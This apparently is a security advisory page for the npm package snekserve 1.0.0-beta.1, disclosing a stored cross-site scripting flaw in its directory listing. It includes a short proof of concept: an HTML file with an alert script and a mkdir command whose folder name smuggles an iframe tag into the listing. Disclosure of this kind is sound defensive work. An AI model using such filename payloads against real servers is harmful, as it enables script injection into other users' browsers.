snekserve@1.0.0-beta.1 vulnerabilities

A tiny HTTP file server with directory listing.

Direct Vulnerabilities

Known vulnerabilities in the snekserve package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Cross-site Scripting (XSS)

snekserve is a lightweight file server.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) he filenames aren't checked correctly, leading to stored XSS inside the directory listing.

PoC by mik317

  • Create a PoC file like this:
<!-- malicious.html -->
<script>alert(document.domain)</script>
  • Run the following commands:
npm i snekserve -g # Installs the CLI version of the module
mkdir '<iframe src=..\malicious.html>' # Creates the malicious *HTML formatted* folder
snekserve # Starts the server
  • Open a browser and go on http://localhost:8080, you'll see the alert(document.domain) code executed

How to fix Cross-site Scripting (XSS)?

There is no fixed version for snekserve.

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